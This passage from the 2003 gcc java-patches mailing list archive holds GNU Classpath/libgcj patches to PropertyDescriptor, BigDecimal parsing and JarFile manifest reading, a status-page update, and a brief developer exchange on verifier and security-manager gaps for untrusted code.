- } - - /** Create a new PropertyDescriptor by introspection. - ** This form of constructor creates the PropertyDescriptor by - ** looking for a getter method named get<name>() - ** (or, optionally, if the property is boolean, - ** is<name>()) and - ** set<name>() in class - ** <beanClass>, where <name> has its - ** first letter capitalized by the constructor.

- ** - ** Implementation note: If there is a get method (or - ** boolean isXXX() method), then the return type of that method - ** is used to find the set method. If there is no get method, - ** then the set method is searched for exhaustively.

- ** - ** Spec note: - ** If there is no get method and multiple set methods with - ** the same name and a single parameter (different type of course), - ** then an IntrospectionException is thrown. While Sun's spec - ** does not state this, it can make Bean behavior different on - ** different systems (since method order is not guaranteed) and as - ** such, can be treated as a bug in the spec. I am not aware of - ** whether Sun's implementation catches this. - ** - ** @param name the programmatic name of the property, usually - ** starting with a lowercase letter (e.g. fooManChu - ** instead of FooManChu). - ** @param beanClass the class the get and set methods live in. - ** @exception IntrospectionException if the methods are not found or invalid. - **/ - public PropertyDescriptor(String name, Class beanClass) throws IntrospectionException { - setName(name); - String capitalized; - try { - capitalized = Character.toUpperCase(name.charAt(0)) + name.substring(1); - } catch(StringIndexOutOfBoundsException e) { - capitalized = ""; - } - findMethods(beanClass, "is" + capitalized, "get" + capitalized, "set" + capitalized); - } - - /** Create a new PropertyDescriptor by introspection. - ** This form of constructor allows you to specify the - ** names of the get and set methods to search for.

- ** - ** Implementation note: If there is a get method (or - ** boolean isXXX() method), then the return type of that method - ** is used to find the set method. If there is no get method, - ** then the set method is searched for exhaustively.

- ** - ** Spec note: - ** If there is no get method and multiple set methods with - ** the same name and a single parameter (different type of course), - ** then an IntrospectionException is thrown. While Sun's spec - ** does not state this, it can make Bean behavior different on - ** different systems (since method order is not guaranteed) and as - ** such, can be treated as a bug in the spec. I am not aware of - ** whether Sun's implementation catches this. - ** - ** @param name the programmatic name of the property, usually - ** starting with a lowercase letter (e.g. fooManChu - ** instead of FooManChu). - ** @param beanClass the class the get and set methods live in. - ** @param getMethodName the name of the get method. - ** @param setMethodName the name of the set method. - ** @exception IntrospectionException if the methods are not found or invalid. - **/ - public PropertyDescriptor(String name, Class beanClass, String getMethodName, String setMethodName) throws IntrospectionException { - setName(name); - findMethods(beanClass, getMethodName, null, setMethodName); - } - - /** Create a new PropertyDescriptor using explicit Methods. - ** Note that the methods will be checked for conformance to standard - ** Property method rules, as described above at the top of this class. - ** - ** @param name the programmatic name of the property, usually - ** starting with a lowercase letter (e.g. fooManChu - ** instead of FooManChu). - ** @param getMethod the get method. - ** @param setMethod the set method. - ** @exception IntrospectionException if the methods are not found or invalid. - **/ - public PropertyDescriptor(String name, Method getMethod, Method setMethod) throws IntrospectionException { - setName(name); - if(getMethod != null && getMethod.getParameterTypes().length > 0) { - throw new IntrospectionException("get method has parameters"); - } - if(setMethod != null && setMethod.getParameterTypes().length != 1) { - throw new IntrospectionException("set method does not have exactly one parameter"); - } - if(getMethod != null && setMethod != null) { - if(!getMethod.getReturnType().equals(setMethod.getParameterTypes()[0])) { - throw new IntrospectionException("set and get methods do not share the same type"); - } - if(!getMethod.getDeclaringClass().isAssignableFrom(setMethod.getDeclaringClass()) - && !setMethod.getDeclaringClass().isAssignableFrom(getMethod.getDeclaringClass())) { - throw new IntrospectionException("set and get methods are not in the same class."); - } - } - this.getMethod = getMethod; - this.setMethod = setMethod; - if(getMethod != null) { - this.propertyType = getMethod.getReturnType(); - } else { - this.propertyType = setMethod.getParameterTypes()[0]; - } - } - - /** Get the property type. - ** This is the type the get method returns and the set method - ** takes in. - **/ - public Class getPropertyType() { - return propertyType; - } - - /** Get the get method. Why they call it readMethod here and - ** get everywhere else is beyond me. - **/ - public Method getReadMethod() { - return getMethod; - } - - /** Get the set method. Why they call it writeMethod here and - ** set everywhere else is beyond me. - **/ - public Method getWriteMethod() { - return setMethod; - } - - /** Get whether the property is bound. Defaults to false. **/ - public boolean isBound() { - return bound; - } - - /** Set whether the property is bound. - ** As long as the the bean implements addPropertyChangeListener() and - ** removePropertyChangeListener(), setBound(true) may safely be called.

- ** If these things are not true, then the behavior of the system - ** will be undefined.

- ** - ** When a property is bound, its set method is required to fire the - ** PropertyChangeListener.propertyChange()) event - ** after the value has changed. - ** @param bound whether the property is bound or not. - **/ - public void setBound(boolean bound) { - this.bound = bound; - } - - /** Get whether the property is constrained. Defaults to false. **/ - public boolean isConstrained() { - return constrained; - } - - /** Set whether the property is constrained. - ** If the set method throws java.beans.PropertyVetoException - ** (or subclass thereof) and the bean implements addVetoableChangeListener() - ** and removeVetoableChangeListener(), then setConstrained(true) may safely - ** be called. Otherwise, the system behavior is undefined. - ** Spec note: given those strict parameters, it would be nice if it - ** got set automatically by detection, but oh well.

- ** When a property is constrained, its set method is required to:

- **

    - **
  1. Fire the VetoableChangeListener.vetoableChange() - ** event notifying others of the change and allowing them a chance to - ** say it is a bad thing.
  2. - **
  3. If any of the listeners throws a PropertyVetoException, then - ** it must fire another vetoableChange() event notifying the others - ** of a reversion to the old value (though, of course, the change - ** was never made). Then it rethrows the PropertyVetoException and - ** exits.
  4. - **
  5. If all has gone well to this point, the value may be changed.
  6. - **
- ** @param constrained whether the property is constrained or not. - **/ - public void setConstrained(boolean constrained) { - this.constrained = constrained; - } - - /** Get the PropertyEditor class. Defaults to null. **/ - public Class getPropertyEditorClass() { - return propertyEditorClass; - } - - /** Set the PropertyEditor class. If the class does not implement - ** the PropertyEditor interface, you will likely get an exception - ** late in the game. - ** @param propertyEditorClass the PropertyEditor class for this class to use. - **/ - public void setPropertyEditorClass(Class propertyEditorClass) { - this.propertyEditorClass = propertyEditorClass; - } - - private void findMethods(Class beanClass, String getMethodName1, String getMethodName2, String setMethodName) throws IntrospectionException { - try { - if(getMethodName1 != null) { - try { - getMethod = beanClass.getMethod(getMethodName1, new Class[0]); - } catch(NoSuchMethodException E) { - } - if(getMethodName2 != null) { - if(getMethod != null && !getMethod.getReturnType().equals(java.lang.Boolean.TYPE)) { - // If the is() method exists but isn't boolean, we'll just go on and look for - // an ordinary get() method. - getMethod = null; - } - - Method getMethod2; - try { - getMethod2 = beanClass.getMethod(getMethodName2, new Class[0]); - } catch(NoSuchMethodException E) { - getMethod2 = null; - } - if(getMethod2 != null) { - if(getMethod != null) { - if(!getMethod.getReturnType().equals(getMethod2.getReturnType())) { - throw new IntrospectionException("Both " + getMethodName1 + " and " + getMethodName2 + " exist, and have contradictory return types."); - } - } else { - getMethod = getMethod2; - } - } - } - } - - if(getMethod != null) { - propertyType = getMethod.getReturnType(); - if(setMethodName != null) { - Class[] setArgs = new Class[1]; - setArgs[0] = propertyType; - try { - setMethod = beanClass.getMethod(setMethodName, setArgs); - if(!setMethod.getReturnType().equals(java.lang.Void.TYPE)) { - throw new IntrospectionException(setMethodName + " has non-void return type"); - } - } catch(NoSuchMethodException E) { - } - } - } else if(setMethodName != null) { - Method[] m = beanClass.getMethods(); - for(int i=0;iget<name>()
+ ** (or, optionally, if the property is boolean, + ** is<name>()) and + ** set<name>() in class + ** <beanClass>, where <name> has its + ** first letter capitalized by the constructor.

+ ** + ** Implementation note: If there is a get method (or + ** boolean isXXX() method), then the return type of that method + ** is used to find the set method. If there is no get method, + ** then the set method is searched for exhaustively.

+ ** + ** Spec note: + ** If there is no get method and multiple set methods with + ** the same name and a single parameter (different type of course), + ** then an IntrospectionException is thrown. While Sun's spec + ** does not state this, it can make Bean behavior different on + ** different systems (since method order is not guaranteed) and as + ** such, can be treated as a bug in the spec. I am not aware of + ** whether Sun's implementation catches this. + ** + ** @param name the programmatic name of the property, usually + ** starting with a lowercase letter (e.g. fooManChu + ** instead of FooManChu). + ** @param beanClass the class the get and set methods live in. + ** @exception IntrospectionException if the methods are not found or invalid. + **/ + public PropertyDescriptor(String name, Class beanClass) + throws IntrospectionException + { + setName(name); + String capitalized; + try { + capitalized = Character.toUpperCase(name.charAt(0)) + name.substring(1); + } + catch (StringIndexOutOfBoundsException e) { + capitalized = ""; + } + findMethods(beanClass, "is" + capitalized, "get" + capitalized, + "set" + capitalized); + } + + /** Create a new PropertyDescriptor by introspection. + ** This form of constructor allows you to specify the + ** names of the get and set methods to search for.

+ ** + ** Implementation note: If there is a get method (or + ** boolean isXXX() method), then the return type of that method + ** is used to find the set method. If there is no get method, + ** then the set method is searched for exhaustively.

+ ** + ** Spec note: + ** If there is no get method and multiple set methods with + ** the same name and a single parameter (different type of course), + ** then an IntrospectionException is thrown. While Sun's spec + ** does not state this, it can make Bean behavior different on + ** different systems (since method order is not guaranteed) and as + ** such, can be treated as a bug in the spec. I am not aware of + ** whether Sun's implementation catches this. + ** + ** @param name the programmatic name of the property, usually + ** starting with a lowercase letter (e.g. fooManChu + ** instead of FooManChu). + ** @param beanClass the class the get and set methods live in. + ** @param getMethodName the name of the get method. + ** @param setMethodName the name of the set method. + ** @exception IntrospectionException if the methods are not found + ** or invalid. + **/ + public PropertyDescriptor(String name, Class beanClass, + String getMethodName, String setMethodName) + throws IntrospectionException + { + setName(name); + findMethods(beanClass, getMethodName, null, setMethodName); + } + + /** Create a new PropertyDescriptor using explicit Methods. + ** Note that the methods will be checked for conformance to standard + ** Property method rules, as described above at the top of this class. + ** + ** @param name the programmatic name of the property, usually + ** starting with a lowercase letter (e.g. fooManChu + ** instead of FooManChu). + ** @param getMethod the get method. + ** @param setMethod the set method. + ** @exception IntrospectionException if the methods are not found + ** or invalid. + **/ + public PropertyDescriptor(String name, Method getMethod, Method setMethod) + throws IntrospectionException + { + setName(name); + if (getMethod != null && getMethod.getParameterTypes().length > 0) { + throw new IntrospectionException("get method has parameters"); + } + if (setMethod != null && setMethod.getParameterTypes().length != 1) { + String msg = "set method does not have exactly one parameter"; + throw new IntrospectionException(msg); + } + if (getMethod != null && setMethod != null) { + if (!getMethod.getReturnType(). + equals(setMethod.getParameterTypes()[0])) { + String msg = "set and get methods do not share the same type"; + throw new IntrospectionException(msg); + } + if ((!getMethod.getDeclaringClass(). + isAssignableFrom(setMethod.getDeclaringClass())) && + (!setMethod.getDeclaringClass(). + isAssignableFrom(getMethod.getDeclaringClass()))) { + String msg = "set and get methods are not in the same class."; + throw new IntrospectionException(msg); + } + } + this.getMethod = getMethod; + this.setMethod = setMethod; + if (getMethod != null) { + this.propertyType = getMethod.getReturnType(); + } + else { + this.propertyType = setMethod.getParameterTypes()[0]; + } + } + + /** Get the property type. + ** This is the type the get method returns and the set method + ** takes in. + **/ + public Class getPropertyType() { + return propertyType; + } + + /** Get the get method. Why they call it readMethod here and + ** get everywhere else is beyond me. + **/ + public Method getReadMethod() { + return getMethod; + } + + /** Get the set method. Why they call it writeMethod here and + ** set everywhere else is beyond me. + **/ + public Method getWriteMethod() { + return setMethod; + } + + /** Get whether the property is bound. Defaults to false. **/ + public boolean isBound() { + return bound; + } + + /** Set whether the property is bound. + ** As long as the the bean implements addPropertyChangeListener() and + ** removePropertyChangeListener(), setBound(true) may safely be called.

+ ** If these things are not true, then the behavior of the system + ** will be undefined.

+ ** + ** When a property is bound, its set method is required to fire the + ** PropertyChangeListener.propertyChange()) event + ** after the value has changed. + ** @param bound whether the property is bound or not. + **/ + public void setBound(boolean bound) { + this.bound = bound; + } + + /** Get whether the property is constrained. Defaults to false. **/ + public boolean isConstrained() { + return constrained; + } + + /** Set whether the property is constrained. + ** If the set method throws java.beans.PropertyVetoException + ** (or subclass thereof) and the bean implements addVetoableChangeListener() + ** and removeVetoableChangeListener(), then setConstrained(true) may safely + ** be called. Otherwise, the system behavior is undefined. + ** Spec note: given those strict parameters, it would be nice if it + ** got set automatically by detection, but oh well.

+ ** When a property is constrained, its set method is required to:

+ **

    + **
  1. Fire the VetoableChangeListener.vetoableChange() + ** event notifying others of the change and allowing them a chance to + ** say it is a bad thing.
  2. + **
  3. If any of the listeners throws a PropertyVetoException, then + ** it must fire another vetoableChange() event notifying the others + ** of a reversion to the old value (though, of course, the change + ** was never made). Then it rethrows the PropertyVetoException and + ** exits.
  4. + **
  5. If all has gone well to this point, the value may be changed.
  6. + **
+ ** @param constrained whether the property is constrained or not. + **/ + public void setConstrained(boolean constrained) { + this.constrained = constrained; + } + + /** Get the PropertyEditor class. Defaults to null. **/ + public Class getPropertyEditorClass() { + return propertyEditorClass; + } + + /** Set the PropertyEditor class. If the class does not implement + ** the PropertyEditor interface, you will likely get an exception + ** late in the game. + ** @param propertyEditorClass the PropertyEditor class for this + ** class to use. + **/ + public void setPropertyEditorClass(Class propertyEditorClass) { + this.propertyEditorClass = propertyEditorClass; + } + + private void findMethods(Class beanClass, String getMethodName1, + String getMethodName2, String setMethodName) + throws IntrospectionException + { + try { + if (getMethodName1 != null) { + try { + getMethod = beanClass.getMethod(getMethodName1, new Class[0]); + } + catch (NoSuchMethodException E) { + } + if (getMethodName2 != null) { + if (getMethod != null && + !getMethod.getReturnType().equals(java.lang.Boolean.TYPE)) { + // If the is() method exists but isn't boolean, we'll just + // go on and look for an ordinary get() method. + getMethod = null; + } + + Method getMethod2; + try { + getMethod2 = beanClass.getMethod(getMethodName2, new Class[0]); + } + catch (NoSuchMethodException E) { + getMethod2 = null; + } + if (getMethod2 != null) { + if (getMethod != null) { + if (!getMethod.getReturnType(). + equals(getMethod2.getReturnType())) { + String msg = "Both " + getMethodName1 + + " and " + getMethodName2 + + " exist, and have contradictory return types."; + throw new IntrospectionException(msg); + } + } + else { + getMethod = getMethod2; + } + } + } + } + + if (getMethod != null) { + propertyType = getMethod.getReturnType(); + if (setMethodName != null) { + Class[] setArgs = new Class[1]; + setArgs[0] = propertyType; + try { + setMethod = beanClass.getMethod(setMethodName, setArgs); + if (!setMethod.getReturnType().equals(java.lang.Void.TYPE)) { + throw new IntrospectionException(setMethodName + + " has non-void return type"); + } + } + catch (NoSuchMethodException E) { + } + } + } + else if (setMethodName != null) { + Method[] m = beanClass.getMethods(); + for(int i = 0; i < m.length; i++) { + Method current = m[i]; + if (current.getName().equals(setMethodName) && + current.getParameterTypes().length == 1 && + current.getReturnType().equals(java.lang.Void.TYPE)) { + if (setMethod != null) { + String msg = + "Multiple, different set methods found that fit the bill!"; + throw new IntrospectionException(msg); + } + else { + setMethod = current; + propertyType = current.getParameterTypes()[0]; + } + } + } + if (setMethod == null) { + throw new IntrospectionException("Cannot find get or set methods."); + } + } + else { + throw new IntrospectionException("Cannot find get or set methods."); + } + } + catch (SecurityException E) { + String msg = "SecurityException thrown on attempt to access methods."; + throw new IntrospectionException(msg); + } + } } --=-g0ER+R+ItrGWSOZitW6C-- From java-patches-return-6031-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 21:02:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8163 invoked by alias); 7 Feb 2003 21:02:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8108 invoked from network); 7 Feb 2003 21:02:55 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 7 Feb 2003 21:02:55 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18hFdu-00076J-00 for ; Fri, 07 Feb 2003 22:02:38 +0100 Subject: FYI: Remerge java.math.BigDecimal with Classpath From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-3Tbdbsj4RMSg4YW4Ew7N" Organization: Message-Id: <1044651772.23041.65.camel@elsschot> Mime-Version: 1.0 Date: 07 Feb 2003 22:02:53 +0100 --=-3Tbdbsj4RMSg4YW4Ew7N Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following two changes were added to Classpath a while ago. They fix a number of Mauve BigDecimal parse/decode failures: * BigDecimal.toString() incorrectly would return strings that start with "." or "-." in some cases. * BigDecimal(String) could not cope with a "+" following the "E" or "e". E * BigDecimal(String)'s error handling for malformed exponent parts was sloppy. * BigDecimal.valueOf(Long.MIN_VALUE) returned the same value as BigDecimal.valueOf(0L). With this applied there remain only 5 DiagBigDecimal failures (of 600). 2003-02-07 Stephen Crawley * java/math/BigDecimal(valueOf): fix DiagBigDecimal val008, val013 tests; see patch #1016 on Savannah. 2003-02-07 Stephen Crawley * java/math/BigDecimal.java (BigDecimal): enhance parsing of exponents (toString): do not return Strings starting with . and - erroneously. Improves Mauve results to 12 of 600 instead of 16 of 338 on DiagBigDecimal. I am committing this to the branch and mainline. Cheers, Mark --=-3Tbdbsj4RMSg4YW4Ew7N Content-Disposition: inline; filename=BigDecimal.patch Content-Type: text/x-patch; name=BigDecimal.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/math/BigDecimal.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/math/BigDecimal.java,v retrieving revision 1.6 diff -u -r1.6 BigDecimal.java --- java/math/BigDecimal.java 22 Jan 2002 22:40:22 -0000 1.6 +++ java/math/BigDecimal.java 7 Feb 2003 21:01:10 -0000 @@ -178,15 +178,29 @@ // Now parse exponent. if (point < len) { - int exp = Integer.parseInt (num.substring (point + 1)); - exp -= scale; - if (exp > 0) + point++; + if (num.charAt(point) == '+') + point++; + + if (point >= len ) + throw new NumberFormatException ("no exponent following e or E"); + + try { - intVal = intVal.multiply (BigInteger.valueOf (10).pow (exp)); - scale = 0; + int exp = Integer.parseInt (num.substring (point)); + exp -= scale; + if (exp > 0) + { + intVal = intVal.multiply (BigInteger.valueOf (10).pow (exp)); + scale = 0; + } + else + scale = - exp; + } + catch (NumberFormatException ex) + { + throw new NumberFormatException ("malformed exponent"); } - else - scale = - exp; } } @@ -198,7 +212,7 @@ public static BigDecimal valueOf (long val, int scale) throws NumberFormatException { - if (scale == 0) + if ((scale == 0) && ((int)val == val)) switch ((int) val) { case 0: @@ -431,19 +445,29 @@ if (scale == 0) return bigStr; - int point = bigStr.length() - scale; boolean negative = (bigStr.charAt(0) == '-'); - StringBuffer sb = new StringBuffer(bigStr.length() + 1 + - (point <= 0 ? -point+1 : 0)); - if (negative) - sb.append('-'); - while (point <= 0) + + int point = bigStr.length() - scale - (negative ? 1 : 0); + + StringBuffer sb = new StringBuffer(bigStr.length() + 2 + + (point <= 0 ? (-point + 1) : 0)); + if (point <= 0) + { + if (negative) + sb.append('-'); + sb.append('0').append('.'); + while (point < 0) + { + sb.append('0'); + point++; + } + sb.append(bigStr.substring(negative ? 1 : 0)); + } + else { - sb.append('0'); - point++; + sb.append(bigStr); + sb.insert(point + (negative ? 1 : 0), '.'); } - sb.append(bigStr.substring(negative ? 1 : 0)); - sb.insert(point, '.'); return sb.toString(); } --=-3Tbdbsj4RMSg4YW4Ew7N-- From java-patches-return-6032-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 21:21:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15306 invoked by alias); 7 Feb 2003 21:21:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15295 invoked from network); 7 Feb 2003 21:21:47 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 7 Feb 2003 21:21:47 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18hFwB-00076f-00; Fri, 07 Feb 2003 22:21:31 +0100 Subject: FYI: Manifest reading of JarFile From: Mark Wielaard To: java-patches@gcc.gnu.org Cc: erwin@klomp.org Content-Type: multipart/mixed; boundary="=-4/JW1Lg3az9ACj2yNSAW" Organization: Message-Id: <1044652905.23018.77.camel@elsschot> Mime-Version: 1.0 Date: 07 Feb 2003 22:21:45 +0100 --=-4/JW1Lg3az9ACj2yNSAW Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following was found by one of the JRVM devlopers (Julian Dolby) and committed to Classpath a while ago. When a JarFile is opened with the verify flag on then the Manifest should be available if it is never explicitly used by the program and the file has been closed again. 2003-02-07 Mark Wielaard * java/util/jar/JarFile.java (JarFile(String, boolean)): Read manifest when verify is true. (JarFile(File, boolean)): Likewise. (manifestRead): Set manifestRead field correctly. I am committing this to branch and mainline. This make the Eclipse online Update Manger work. I have successfully used this to install the WebDav support that was needed for the Sftp File Synchronization plugin (which works flawlessly under gij BTW). Note that we don't actually verify the Manifest entry (and to run Eclipse you have to disable the byte code verifyer) so this is certainly not recommended for loading arbitraty (untrusted) classees from the net. Cheers, Mark --=-4/JW1Lg3az9ACj2yNSAW Content-Disposition: inline; filename=JarFile.patch Content-Type: text/x-patch; name=JarFile.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/util/jar/JarFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/jar/JarFile.java,v retrieving revision 1.10 diff -u -r1.10 JarFile.java --- java/util/jar/JarFile.java 3 Dec 2002 22:06:30 -0000 1.10 +++ java/util/jar/JarFile.java 7 Feb 2003 21:20:41 -0000 @@ -1,5 +1,5 @@ /* JarFile.java - Representation of a jar file - Copyright (C) 2000 Free Software Foundation, Inc. + Copyright (C) 2000, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -71,10 +71,10 @@ */ private Manifest manifest; - /** Wether to verify the manifest and all entries. */ + /** Whether to verify the manifest and all entries. */ private boolean verify; - /** Wether the has already been loaded. */ + /** Whether the has already been loaded. */ private boolean manifestRead = false; // Constructors @@ -109,6 +109,11 @@ FileNotFoundException, IOException { super(fileName); + if (verify) + { + manifest = readManifest(); + verify(); + } } /** @@ -141,6 +146,11 @@ IOException { super(file); + if (verify) + { + manifest = readManifest(); + verify(); + } } /** @@ -165,6 +175,11 @@ FileNotFoundException, IOException, IllegalArgumentException { super(file, mode); + if (verify) + { + manifest = readManifest(); + verify(); + } } // Methods @@ -196,15 +211,18 @@ if (manEntry != null) { InputStream in = super.getInputStream(manEntry); + manifestRead = true; return new Manifest(in); } else { + manifestRead = true; return null; } } catch (IOException ioe) { + manifestRead = true; return null; } } --=-4/JW1Lg3az9ACj2yNSAW-- From java-patches-return-6033-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 23:36:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25740 invoked by alias); 7 Feb 2003 23:36:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25722 invoked from network); 7 Feb 2003 23:36:00 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 7 Feb 2003 23:36:00 -0000 Received: from fleche.redhat.com (tz0185.peakpeak.com [207.174.69.185]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA25785; Fri, 7 Feb 2003 16:35:58 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 51E474F82DD; Fri, 7 Feb 2003 16:24:43 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: updat 3.3 status page From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Yes, but will I see the EASTER BUNNY in skintight leather at an IRON MAIDEN concert? Date: 07 Feb 2003 16:24:42 -0700 Message-ID: <87hebf8yit.fsf@fleche.redhat.com> Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the 3.3 status page to reflect that Mark is handling Mauve tests. Tom Index: ChangeLog from Tom Tromey * gcj-3.3-status.html (Mauve): Updated status. Index: gcj-3.3-status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/gcj-3.3-status.html,v retrieving revision 1.8 diff -u -r1.8 gcj-3.3-status.html --- gcj-3.3-status.html 30 Jan 2003 19:20:56 -0000 1.8 +++ gcj-3.3-status.html 7 Feb 2003 23:30:18 -0000 @@ -136,8 +136,8 @@ Mauve -   -   + Some unanalyzed failures + Mark Wielaard Jacks From java-patches-return-6034-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 08 00:01:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8655 invoked by alias); 8 Feb 2003 00:01:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8648 invoked from network); 8 Feb 2003 00:01:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 8 Feb 2003 00:01:34 -0000 Received: from fleche.redhat.com (tz0185.peakpeak.com [207.174.69.185]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA32304; Fri, 7 Feb 2003 17:01:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B4A7E4F82DD; Fri, 7 Feb 2003 16:50:19 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org, erwin@klomp.org Subject: Re: FYI: Manifest reading of JarFile References: <1044652905.23018.77.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hmmm.. a CRIPPLED ACCOUNTANT with a FALAFEL sandwich is HIT by a TROLLEY-CAR.. Date: 07 Feb 2003 16:50:19 -0700 In-Reply-To: <1044652905.23018.77.camel@elsschot> Message-ID: <87d6m38xc4.fsf@fleche.redhat.com> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> I am committing this to branch and mainline. Mark> This make the Eclipse online Update Manger work. I have successfully Mark> used this to install the WebDav support that was needed for the Sftp Mark> File Synchronization plugin (which works flawlessly under gij BTW). Mark> Cool. Thanks for dealing with this. Mark> Note that we don't actually verify the Manifest entry (and to Mark> run Eclipse you have to disable the byte code verifyer) so this Mark> is certainly not recommended for loading arbitraty (untrusted) Mark> classees from the net. We're still missing a lot of other infrastructure that would make it possible to download untrusted code. In particular we need to audit for all SecurityManager checks, we need to audit gnu.* to make sure that code can't circumvent the type system that way, and we need to implement stack overflow checking. Then we also need to find a way to gain confidence in the result. Lately I've been looking at some of the verifier bugs, not only in gij but also in gcj. It is a dismal situation. For one thing, sometimes it is really unclear whether a given program is valid or invalid -- and various versions of the JDK will disagree. Given that most code out there really is valid, that means that it is even harder to gain confidence in the correctness of the verifier. Tom From java-patches-return-6035-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Feb 10 05:23:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8591 invoked by alias); 10 Feb 2003 05:23:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8584 invoked from network); 10 Feb 2003 05:23:48 -0000 Received: from unknown (HELO phobos.hpl.hp.com) (192.6.19.124) by 172.16.49.205 with SMTP; 10 Feb 2003 05:23:48 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by phobos.hpl.hp.com (8.9.3 (PHNE_24419)/HPL-PA Relay) with ESMTP id VAA10842 for ; Sun, 9 Feb 2003 21:23:07 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h1A5N6A09283 for ; Sun, 9 Feb 2003 21:23:07 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Sun, 09 Feb 2003 21:23:05 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id <1DAKMBG9>; Sun, 9 Feb 2003 21:23:05 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667DA13681@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'java-patches@gcc.gnu.org '" Subject: _Jv_CallAnyMehtodA alignment patch Date: Sun, 9 Feb 2003 21:23:06 -0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C2D0C4.7DCA42D0" X-MailScanner: Found to be clean This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2D0C4.7DCA42D0 Content-Type: text/plain _Jv_CallAnyMethodA allocates an array p to hold arguments to the call. Arguments are stored adjacently, which means they may end up misaligned. This can fail on non-X86 architectures. I attached a patch which allocates a jvalue for each argument instead. This also simplifies the code. My guess is it speeds up a little as well, though I didn't check that. OK for trunk? This should probably go into 3.3 as well, though we may want to try it on the trunk first. Hans ChangeLog entry: 2003-02-09 Hans Boehm * java/lang/reflect/natMethod.cc (_Jv_CallAnyMethodA): Allocate a full jvalue for each argument. Simplify. ------_=_NextPart_000_01C2D0C4.7DCA42D0 Content-Type: application/octet-stream; name="natMethod.diff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="natMethod.diff" Index: java/lang/reflect/natMethod.cc=0A= 